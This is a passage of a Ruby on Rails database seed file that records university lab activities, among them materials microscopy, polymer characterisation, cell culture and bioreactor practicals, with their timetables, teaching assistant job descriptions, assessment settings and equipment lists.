2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a478.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a478.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a479 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"234\").first_or_create!(name: \"Optical Microscopy- Ceramics\",\n name_abrv: \"OMCERAMICS\", archived: false, in_drive: false, user_id: 4)\n at479 = ActivityTimetable.where(activity_id: a479.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a479.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a479.id).first_or_create!(criteria: \"\",\n job_desc:\"In these practicals the students will be looking at the microstructures of ceramics samples using optical microscopes.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a479.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a479.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a479.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a480 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR302\").first.id, code: \"235\").first_or_create!(name: \"Polymers Characterisation\",\n name_abrv: \"POLYMERCHARAC\", archived: false, in_drive: false, user_id: 2)\n at480 = ActivityTimetable.where(activity_id: a480.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a480.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a480.id).first_or_create!(criteria: \"Hands-on experience on either key polymers characterisation techniques such as DSC and FTIR and Mechanical Testing Techniques.\",\n job_desc:\"Characterisation of two unknown polymeric samples using Tensile Testing and Charpy impact testing, differential scanning calorimetry (DSC) and Fourier transform infrared (FTIR) spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a480.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a480.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a480.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a481 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR331\").first.id, code: \"235\").first_or_create!(name: \"Polymers Characterisation\",\n name_abrv: \"POLYMERCHARAC\", archived: true, in_drive: false, user_id: 5)\n at481 = ActivityTimetable.where(activity_id: a481.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a481.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a481.id).first_or_create!(criteria: \"Hands-on experience on either key polymers characterisation techniques such as DSC and FTIR and Mechanical Testing Techniques.\",\n job_desc:\"Characterisation of two unknown polymeric samples using Tensile Testing and Charpy impact testing, differential scanning calorimetry (DSC) and Fourier transform infrared (FTIR) spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a481.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a481.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a481.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a482 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"236\").first_or_create!(name: \"SEM/EDX\",\n name_abrv: \"SEM/EDX\", archived: false, in_drive: false, user_id: 5)\n at482 = ActivityTimetable.where(activity_id: a482.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 4, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a482.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a482.id).first_or_create!(criteria: \"\",\n job_desc:\"During this session the students will learn basic theory and practical use of a scanning electron microscope (SEM) for topographical imaging, chemical composition analysis and mapping.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a482.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a482.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a482.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a483 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"237\").first_or_create!(name: \"Study of a Binary Eutectic Alloy of Sn and Bi\",\n name_abrv: \"Phase diagram of Sn and Bi\", archived: false, in_drive: false, user_id: 1)\n at483 = ActivityTimetable.where(activity_id: a483.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 9, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a483.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a483.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a483.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a483.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a483.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a484 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"238\").first_or_create!(name: \"Wood composite\",\n name_abrv: \"WOODCOMP\", archived: false, in_drive: false, user_id: 2)\n at484 = ActivityTimetable.where(activity_id: a484.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a484.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a484.id).first_or_create!(criteria: \"Hands-on experience in manufacturing composite panels using pre-preg and the mechanical testing of composite panels.\",\n job_desc:\"Practical construction of composite panels cut at various angles relative to the fibre direction and mechanical testing in order to understand the directionality of composite materials.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a484.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (short report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a484.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a484.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a485 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR132\").first.id, code: \"239\").first_or_create!(name: \"Microscopy of Cast Irons\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at485 = ActivityTimetable.where(activity_id: a485.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"From AMRC: Possibly hybrid with some parts of Metals 1 and Metals 2 - to be determined with lab lead and module leader.\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a485.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a485.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a485.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a485.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a485.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a486 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1610\").first.id, code: \"240\").first_or_create!(name: \"Crystal Maker II\",\n name_abrv: \"CRYS2\", archived: false, in_drive: false, user_id: 1)\n at486 = ActivityTimetable.where(activity_id: a486.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a486.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a486.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a486.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a486.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a486.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a487 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1510\").first.id, code: \"300\").first_or_create!(name: \"Histology/Microscopy\",\n name_abrv: \"HIST/MICRO\", archived: false, in_drive: false, user_id: 5)\n at487 = ActivityTimetable.where(activity_id: a487.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 180, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a487.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a487.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a487.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a487.id).first_or_create!(cost_per_student: nil, equip_needed: \"Laptops, microscopes, histology slides\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a487.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a488 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE280\").first.id, code: \"301\").first_or_create!(name: \"Antibiotic production\",\n name_abrv: \"ANTIBIOTIC\", archived: false, in_drive: false, user_id: 1)\n at488 = ActivityTimetable.where(activity_id: a488.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 6, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: nil, takedown_time: 180, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a488.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a488.id).first_or_create!(criteria: \"\",\n job_desc:\"Production, purification and analysis of the antibiotic Tylosin from Streptomyces fradiae. Flask cultures, chemical lysis, cholorform extraction, Bradford Assay, absorbance spectroscopy, dry biomass and OD600 measurement.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a488.id).first_or_create!(assess_weight: nil, notes: \"Type TBC\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a488.id).first_or_create!(cost_per_student: nil, equip_needed: \"tbc - shaking incubators, LEV, water baths, 40R centrifuge, Class II (for prep), absorbance plate readers, balances, spectrophotometers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a488.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a489 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE372\").first.id, code: \"302\").first_or_create!(name: \"Bioengineering Group Projects\",\n name_abrv: \"BIOGRP\", archived: false, in_drive: false, user_id: 5)\n at489 = ActivityTimetable.where(activity_id: a489.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: 60, setup_time: nil, takedown_time: 60, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a489.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a489.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a489.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a489.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a489.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a490 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"303\").first_or_create!(name: \"Bioreactors\",\n name_abrv: \"BIOREACTORS\", archived: false, in_drive: false, user_id: 1)\n at490 = ActivityTimetable.where(activity_id: a490.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 8, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 360, takedown_time: 120, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a490.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a490.id).first_or_create!(criteria: \"Culture of microorganisms\",\n job_desc:\"Culture and analysis of E.coli using a 1 L bioreactor.\", jobshop_desc: \"claire.johnson@sheffield.ac.uk, h.drouin@sheffield.ac.uk, helen.wright@sheffield.ac.uk\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a490.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: 40)\n ActivityTech.where(activity_id: a490.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a490.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a491 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"304\").first_or_create!(name: \"Cell culture 1: Aseptic techniques\",\n name_abrv: \"ASEPTICTECH\", archived: false, in_drive: false, user_id: 4)\n at491 = ActivityTimetable.where(activity_id: a491.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 8, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: 120, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a491.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a491.id).first_or_create!(criteria: \"Cell culture and aseptic technique.\",\n job_desc:\"Seeding HaCaT cells onto 3 biomaterial disks to investigate biocompatibility\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a491.id).first_or_create!(assess_weight: nil, notes: \"MOLE test\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a491.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, micropiettes, auto pipettes, bioincubators\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 9, 20), tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a491.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a492 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2530\").first.id, code: \"305\").first_or_create!(name: \"Cell culture 2: MTT Assay\",\n name_abrv: \"MTTASSAY\", archived: false, in_drive: false, user_id: 3)\n at492 = ActivityTimetable.where(activity_id: a492.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 9, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 90, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a492.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a492.id).first_or_create!(criteria: \"Cell culture and aseptic technique. Biological assays.\",\n job_desc:\"Using the MTT assay to measure metabolic activity of the cells seeded onto biomaterial disks\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a492.id).first_or_create!(assess_weight: nil, notes: \"Includes aspetic techniques\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a492.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, plate readers\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 9, 20), tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a492.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a493 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"306\").first_or_create!(name: \"DNA extraction and analysis\",\n name_abrv: \"DNAEXTRACT\", archived: false, in_drive: false, user_id: 5)\n at493 = ActivityTimetable.where(activity_id: a493.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 240, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a493.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a493.id).first_or_create!(criteria: \"Competent user of micropipettes, experience of minipreps or other DNA extraction. Agarose gel electrophoresis.\",\n job_desc:\"Plasmid DNA extraction from E.coli using silica 'miniprep' spin columns. Quantification using SYBR DNA stain and running agarose gel electrophoresis.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a493.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a493.id).first_or_create!(cost_per_student: nil, equip_needed: \"Fluorescent Plate Reader, Microcentrifuges, Gel Doc, Electrophoresis chambers and power packs, vortex mixers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a493.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a494 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"307\").first_or_create!(name: \"E.coli transformation\",\n name_abrv: \"ECOLI\", archived: false, in_drive: false, user_id: 4)\n at494 = ActivityTimetable.where(activity_id: a494.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: nil, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a494.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a494.id).first_or_create!(criteria: \"Experience of bacterial transformation. Knowledge of molecular biology.\",\n job_desc:\"Transforming E.coli BL21 (DE3) with plasmid DNA.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a494.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a494.id).first_or_create!(cost_per_student: nil, equip_needed: \"bunsen burners, static incubator, shaking incubator, water bath, ice machine\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a494.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a495 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE190\").first.id, code: \"308\").first_or_create!(name: \"Enzyme activity\",\n name_abrv: \"ENZYME\", archived: false, in_drive: false, user_id: 4)\n at495 = ActivityTimetable.where(activity_id: a495.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 75, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at495.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a495.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a495.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a495.id).first_or_create!(assess_weight: nil, notes: \"During is data interpretation. Post is MOLE test\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a495.id).first_or_create!(cost_per_student: nil, equip_needed: \"Spectrophotometers, micropipettes, auto pipettes, balances\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a495.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a496 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE190\").first.id, code: \"309\").first_or_create!(name: \"Fermentation kinetics\",\n name_abrv: \"FERMKINETICS\", archived: false, in_drive: false, user_id: 2)\n at496 = ActivityTimetable.where(activity_id: a496.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 240, takedown_time: 240, notes: \"Needs to be in the afternoon due to set up time\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a496.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a496.id).first_or_create!(criteria: \"\",\n job_desc:\"3 mini experiments - Growth of yeast using 1L bioreactor and ivestigating oxygen consumption, staining and counting yeast, measuring CO2 production of yeast.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a496.id).first_or_create!(assess_weight: 6.0, notes: \"In lab assessment - this could be formative.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a496.id).first_or_create!(cost_per_student: nil, equip_needed: \"Bioreactor, Spectrophotometers, Microscopes, bunsen burners, water baths, balances\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a496.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a497 = 